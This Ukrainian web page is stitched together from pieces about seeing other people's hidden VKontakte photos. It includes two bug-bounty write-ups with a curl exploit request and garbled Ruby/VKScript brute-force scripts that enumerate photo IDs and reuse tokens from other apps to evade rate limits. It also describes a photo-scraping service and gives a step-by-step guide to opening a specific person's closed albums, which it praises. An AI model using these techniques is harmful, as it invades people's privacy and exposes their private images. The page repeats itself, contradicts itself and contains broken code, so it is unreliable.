Контакти

Пошук фотографій ВКонтакте (сервіс «Схожі фотографії»). Вразливість ВКонтакте: доступ до прев'ю фотографій з діалогів та прихованих альбомів будь-якого користувача Приватні та приватні фотографії

10 лютого 2016 о 15:23

Вразливість ВКонтакте: доступ до прев'ю фотографій з діалогів та прихованих альбомів будь-якого користувача

Коротко

Було виявлено вразливість у мобільній версії сайту vk.com. Вона дозволяла переглядати прев'ю прихованих фотографій, у тому числі фотографії з діалогів користувачів, плюс можна було отримати інформацію про користувачів, що лайкнули це приховане фото. Наразі вразливості вже немає – її усунули півроку тому. ВКонтакті висловили подяку у розмірі 700$ (ні, не в голосах).

З чого все починалося

Під час сесії відволікаєшся на все, аби не готуватися до іспитів. Так і я, побачивши про Bug Bounty програму від ВКонтакті на hackerone.com, замість підготовки до іспитів взявся шукати вразливості. Чомусь одразу потягнуло шукати вразливості, пов'язані з фотографіями прихованими налаштуваннями приватності, і як виявилося – не дарма.

Пошук уразливості на повній версії сайту

Припустивши, що id прихованої фотографії мені відомий (про його пошук - нижче), я почав пробувати підставляти цей id у всілякі запити curl"ом - пробував зберігати приховані зображення у свій альбом, відзначати себе на них, лайкати, репостити і т.п. нічого не давало позитивного результату, поки я не спробував просто відправити приховану фотографію собі на стіну. спроби відправити приховане фото на стіну – пости були порожніми.

Перехід на мобільну версію

Потім, я згадав цей коментар і вирішив спробувати зробити те саме в мобільній версії сайту.

Відправляємо фото на стіну:

Curl "http://m.vk.com/wall53083705" -H "Cookie: remixsid=#remixsid" --data "act=post&hash=#hash&attach1_type=photo&attach1=idВладельцаФото_idСкрытогоФото" # id фотографии состоит из двух частей разделенных знаком подчеркивания idВладельцаФото_idСкрытогоФото
Цей запит виконався не коректно, але оновивши сторінку, я з подивом виявив, що на формі відправки з'явилася прикріплена зменшена копія фотографії.

Максимальний розмір фотографії – 130x130, але цього достатньо, щоб, наприклад, розпізнати обличчя на фото. Спроби отримати посилання на повне фото ні до чого не спричинили. Мабуть, після закриття цієї вразливості з мобільної версії сайту прямі посилання на повний розмір просто так уже не отримати.

Перебір фотографій

Вразливість знайдено. Для експлуатації знайденої вразливості потрібно отримати id фотографії, що атакується.

Id фотографії складається з двох частин: photo12345_330000000 (idВласника_idФото), друга частина - росте від фотографії до фотографії, але це не звичайний автоінкремент. Оскільки алгоритм вибору кроку невідомий, перебиратимемо з кроком 1.

Для перебору скористаємося методом api photos.delete. Даний метод для всіх існуючих фотографій (у тому числі і прихованих) поверне error_code: 15. А для всіх неіснуючих ID фотографій повернеться одиниця.

Швидкість перебору
З цієї статті можна дізнатись, як швидко перебирати фотографії. Так, дані в ній не найновіші, але навіть якщо врахувати, що за рік фотографій стало вдвічі більше, час перебору все одно залишається прийнятним.
щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно перебрати лише 30 млн (від _3200000000 до _350000000) різних варіацій посилань

Скориставшись прискореннями перебору з цієї статті, фотографії користувача можна було б перебрати:

за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин – усі фото, завантажені минулого тижня, за 20 хвилин – минулий місяць, за 2 години – минулий рік.
Відсів відкритих/прихованих
Отримавши посилання на всі (та приховані та відкриті) фотографії користувача, можна вибрати лише приховані, спробувавши отримати інформацію про фотографію за допомогою методу photos.getById. Ті фотографії, інформація про які не повертається цим методом є прихованими.

Інформація про користувачів, що лайкнули

Також можна було дізнатись користувачів, які поставили лайки на приховане фото. Метод likes.getList повертав усіх користувачів, які додали заданий об'єкт у свій список мені подобається, навіть якщо цей об'єкт прихований для користувача, який запускає цей метод.

Репорт на hackerone

Мій репорт було відкрито у червні. Закрили вразливість за два з половиною місяці, нічого мені не повідомивши. Ще через місяць я отримав відповідь, що вразливість підтверджена і закрита. А ще за якийсь час отримав і винагороду.

PS: тим, хто вперше намагається вивести винагороду з hackerone.com на новий акаунт paypal - раджу уважно прочитати умови. Paypal при переказі коштів може без вашої згоди конвертувати винагороду у валюту країни зазначеної у вашому профілі.

Деякі користувачі закривають доступ до своїх записів, альбомів, фотографій, аудіо- та відеозаписів. Для того, щоб переглянути приховані фото на сторінці ВК, необхідно знати його ідентифікатор.

Щоб здійснювати будь-які дії ВК, у тому числі пошук id, авторизуйтеся, використовуючи логін або номер телефону і пароль.

Щоб дивитися закриті фото, скопіюйте ID користувача з адресного рядка браузера. Для цього відкрийте потрібну сторінку, і ви побачите цифри після слова «id»:

Бувають ситуації, коли замість ID відображається нік користувача. У такому випадку, щоб дізнатися ідентифікатор, потрібно натиснути на будь-який запис на стіні і відкрити адресу посилання в браузері. Ідентифікатор можна побачити між текстом "wall" та нижнім підкресленням.

Якщо записів на стіні немає, можна відкрити аватар людини, і в браузері знайти ідентифікатор, наступний після слова «photo»

Бувають ситуації, коли користувач повністю обмежив доступ до своїх даних таким чином, що не можна навіть збільшити та переглянути аватар. При цьому замість ID на його сторінці також стоїть нік. У такому разі необхідно звернутися до HTML-коду.Для цього клацніть правою кнопкою миші та виберіть вкладку «Подивитися код сторінки»

Скопіюйте ім'я користувача, запустіть пошук за допомогою комбінації клавіш «Ctrl+F» та вставте у відповідне поле дані. Натисніть "OK". Браузер покаже 1 та 2 збіги. Якщо в першому збігу id не вказано, перейдіть до другого.

Як подивитися фотографії користувача, знаючи id

Знаючи ідентифікатор, можна переглянути закриті фотографії, у тому числі й ті, на яких людину відзначили інші користувачі. Для цього потрібно зробити таке:

  1. В адресному рядку браузера пропишіть текст:

Величезна збірка приватних фотографій у ВК (близько 100 млн.). Сервіс збирає фотографії всіх користувачів соц. мережі у єдиний каталог.

Знайти фотографії того чи іншого користувача просто ввести його. А видалити складно, якщо написати на e-mail творцям, то шанс невисокий, а якщо внести пожертвування, то шанс підвищується.

Яким чином скотобаза збирає фотографії у ВК? Все дуже просто: сервіс автоматично завантажує до збірки фотографії всіх користувачів в режимі онлайн. Неважливо, де ви викладаєте фото, у спільноті чи профілі. Навіть, якщо фото видалити за кілька хвилин - воно вже буде в скотобазі.

Тому багато незадоволених користувачів звернулися до Роскомнагляду, який посприяв тому, щоб скотобаза була заблокованабіля Російської Федерації. Обхід блокування неможливий.

Збір та зберігання особистих даних користувачів заборонено. Хоча користувачі самі викладають фотографії на публічний доступ.

На даний момент сайт не працюєнавіть із проксі-серверами. Власники закинули справу відразу після блокування. Так що можете спати спокійно і не бояться, що хтось побачимо Ваші особисті фотографії.

Аналоги Скотобази

У 2018 рокахбули різні аналоги, типу "Спалили", але вони не працюють, оскільки розробники Вконтакте підкрутили скрипти, які забороняють роботам викрадати приватні фото.

Увага:в інтернеті повно "аналогів" скотобази, але вони мало того, що не працюють, але і є причиною злому акаунту! Якщо Ви натрапили на подібні сайти в жодному разі не вводьте дані від Вконтакте. Зловмисники отримають доступ до облікового запису і зможуть.

Епоха скотобази та подібних сервісів минула. Тепер зберігання та розповсюдження інтимних, приватних фотографій під забороною. Якщо не дотримуватися закону - буде покарання.

tl;dr

Було виявлено вразливість у закладках ВК, що дозволяло отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача/групи. Було написано скрипт, який перебирав фотографії користувача за певний період і потім через цю вразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати усі ваші вчорашні фотографії, за 7 хвилин – усі фото, завантажені минулого тижня, за 20 хвилин – минулий місяць, за 2 години – минулий рік. Вразливість зараз виправлена. Адміністрація ВКонтакте виплатила винагороду у 10к голосів.


Історія почалася з того, як мені на личку у «Вконтакті» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було потреби, і вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача та внутрішнього посилання "ВКонтакте". Останній пункт мені здався дуже цікавим, тому що після додавання посилання на фото я побачив його превьюшку і текст із типом доданої сутності:

При додаванні посилання сервер парсить її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з багатьма умовами ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.

В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, нотатку або відео, до яких немає доступу, можна отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) превьюшка, на якій досить складно щось розглянути, у приватних нотаток відображалася назва. Через метод API fave.getLinksможна було отримати посилання на зображення, але знову ж таки надто маленького розміру (75px і 130px). Тож по суті нічого серйозного.

Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи там відображається так само, як і у звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибуту data-src_bigзберігалося пряме посилання на оригінал зображення!

Таким чином, можна було отримати пряме посилання на будь-яке зображення у Вконтакті, незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або фотографія з приватних альбомів будь-якого користувача/групи.

Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю вразливість, отримати доступ до всіх (ну або завантажених у певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відоме посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати до закладок. На думку спала думка про перебір id фотки, але я її чомусь відразу відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як програма працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішками всіх закритих фотокористувачів, знайти не вдалося. Я вже хотів було кинути цю витівку, але ще раз глянувши на посилання з фотографією, раптом зрозумів, що перебір таки був гарною ідеєю.

Як працюють фотографії у ВК

Як ви могли замінити, посилання на фотографію photo52708106_359542386складається з двох частин: (id користувача)_(якесь незрозуміле число). Як формується друга частина?

На жаль, витративши дві години на експерименти, я так цього і не зрозумів. У 2012 році на HighLoad++ Олег Іларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардинг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, оскільки між id-сервером і id-фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно вже досягли б величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакті» це значення лише ~400 млн (хоча, судячи зі статистики, щодня(користувачі завантажують понад 30 млн фотографій). Тобто. ясно, що ця цифра не унікальна, але при цьому і не рандомна. Я написав скриптик, який пройшовся за фотографіями «старих» користувачів і за отриманими даними склав графік того, наскільки змінювалася ця цифра з кожним роком:

Видно, що значення скачуть залежно від якихось факторів (кількості серверів чи нової логіки?). Але суть у тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко визначити діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотографії користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _3200000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

Перебираємо фотографії

Можна було все це додавати руками через інтерфейс або написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору у разі склала б 3 закладки на секунду, т.к. більше трьох запитів на секунду на сервер «Вконтакті» надсилати не можна.

Прискорюємо перебір x25

Щоб хоч трохи обійти обмеження у 3 запити, я вирішив скористатися методом execute. В одному виклику цього методу можливо 25 звернень до методів API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Тим самим вдалося підвищити швидкість брутфорсу до 3*25 закладок/сек. За минулий рік фотографії перебиралися б довго, але для коротких проміжків цей метод перебору вже був непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів за секунду

Обмеження на кількість запитів/сек діє на кожну програму окремо, а не на користувача повністю. Так що нічого не заважає надсилати паралельно багато запитів, але при цьому використовуючи в них токени від різних програм.

Спочатку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone програми в заданому інтервалі ідентифікаторів додатків:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id|<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
response = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids

Можна було ще відбирати програми за кількістю користувачів, щоб ще більше прискорити подальший перебір:

Але вирішив із цим не морочитися. Ок, програми знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача та отримати токени. Для авторизації довелося використати механізм Implicit Flow. Довелося ширяти урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p,l (login.vk.com) та remixsid

(vk.com):<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ("Cookie" => cookie_header ) @access_tokens = end def authorize_apps(apps) apps.each do |app_id|

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ("today" => 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 36500000 0000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def Iterator = 0 (@period).step(25) do |photo_id|<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) Щоб ще більше прискорити брутфорс, була спроба позбавитися непотрібного тіла у відповіді, але на.

HEAD

запит сервер "Вконтакте" повертає помилку
501 Не введено

Остаточна версія скрипта виглядає так:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies від login.vk.com # remixsid - cookie від vk.com authenticator = Authenticator.new("p=; =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)

У таблиці показаний середній час, необхідний для того, щоб перепробувати ID фотографій за певний період. Я впевнений, що все це можна було прискорити раз так у 10-20. Наприклад, у скрипті брутфорсу зробити одну велику чергу з усіх запитів та нормальну синхронізацію між ними, т.к. у моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити пару інстансів на EC2, і за годину отримати всі фотографії будь-якого користувача. Але я вже хотів спати.

Та й взагалі, не важливо, скільки часу зловмисник на це витратить, 5 годин або цілий день, адже так чи інакше посилання на приватні зображення він дістане. Можливість залізно отримати доступ до приватної інформації за кінцевий час – і є головна загроза, яку несе вразливість.

Повідомляємо про вразливість

Спочатку репорт був відправлений службі підтримки, але після відповіді виду «дякую, якось пофіксуємо напевно…» і тижня очікування, мені щось стало сумно. Дуже дякую Bo0oM , який допоміг зв'язатися з розробниками безпосередньо. Після цього баги закрили протягом кількох годин, а за кілька днів на мій рахунок адміністрація перевела винагороду у розмірі 10к.

У процесі вивчення можливостей та простого використання сторінок сучасної соціальної мережі ВКонтакте, у користувачів постає велика кількість питань. Одним із найпоширеніших є вирішення проблеми, як подивитися приховані фото у ВКонтакті. Досить часто користувачі приховують свої профілі повністю або частково, відповідно подивитися їх фото неможливо.

Перед тим як розглянути питання щодо можливості подивитися приховані фото, варто коротко розглянути тему з їхнього приховання. Щоб сховати свої фото, потрібно виконати такі дії:

  • Потрібно зайти на сторінку ВК;
  • Зліва знайти рядок «Мої налаштування» та активувати його;
  • відкрити підрозділ «Приватність»;
  • З'являться спеціальні налаштування приватності. Їх можна встановлювати на власний розсуд.

Приховати можна не лише фото, а й аудіозаписи, пости та друзів. Вибравши рядок, який відображатиме тих, хто може бачити фото, потрібно визначити тих, кому буде дозволено бачити особисті фото. Тут можна вибрати повну скритність, встановивши лише я або надавши перегляд тільки для друзів. Встановлені функції відразу після налаштувань починають діяти.

Як подивитися збережені фото в ВК, якщо вони приховані?

Отже, як побачити приховані фотографії користувачів ВК? Офіційної схеми тут немає, оскільки розробники соціальної мережі поважають прагнення користувачів зберігати свою приватність. За бажання здійснити перегляд прихованих фото ВК, варто виконати такі дії:

  1. Потрібно зайти у профіль користувача, чиї фото мають бажання подивитися.
  2. Клік по вільному місцю звичайною кнопкою миші.
  3. Вибирається розділ «Переглянути вихідний код сторінки».
  4. Натискається Ctrl+F.
  5. У пошуку вводиться "albums", тільки без лапок.
  6. У рядку після слова з'являються цифри, їх потрібно скопіювати. Це є код сторінки.
  7. Потрібно знову зайти до користувача у профіль та в рядку адреси після ID ввести "?z=albums", також без лапок.
  8. Вставляється попередньо скопійований фрагмент.
  9. Натискається Enter, і отримати насолоду від бачення прихованих фото.

Важливо! Цей варіант дивитися закриті фотографії, якщо доступ закритий, не зовсім законний, адміністрація ВК його не схвалює.

Тому не потрібно дивуватися, якщо можливість дивитися збережені фото, якщо вони приховані, буде закрита.

Сайт для перегляду прихованих фотографій ВКонтакте

Даний метод можна використовувати у випадку вже отриманого фрагмента коду, який можна отримати вищеописаним способом. Для перегляду прихованих фото, необхідно повернутися на потрібну сторінку, на сайті соціальної мережі в рядку браузерного пошуку ввести посилання, збудоване на кшталт – vk.com/id….., де після ID йде ідентифікаційний номер сторінки. Далі ставиться курсор на кінець адреси і одночасно вводяться спеціальні знаки «?z=».

В результаті подібних дій у рядку робочого браузера вийде напис – vk.com/id……?z=albums….., де багатокрапка є ID користувача. Після натискання на Enter, увазі автоматично відкриються всі фото людини, що цікавить.

Висновок

Представлені до уваги досить простими способами можна без особливих проблем вивчити фото користувачів, що знаходяться в закритих альбомах. Основною перевагою подібних методик є можливість побачити фото в альбомах тих людей, які вже не є друзями по ВК та абсолютно незнайомих користувачів.



Сподобалася стаття? Поділіться їй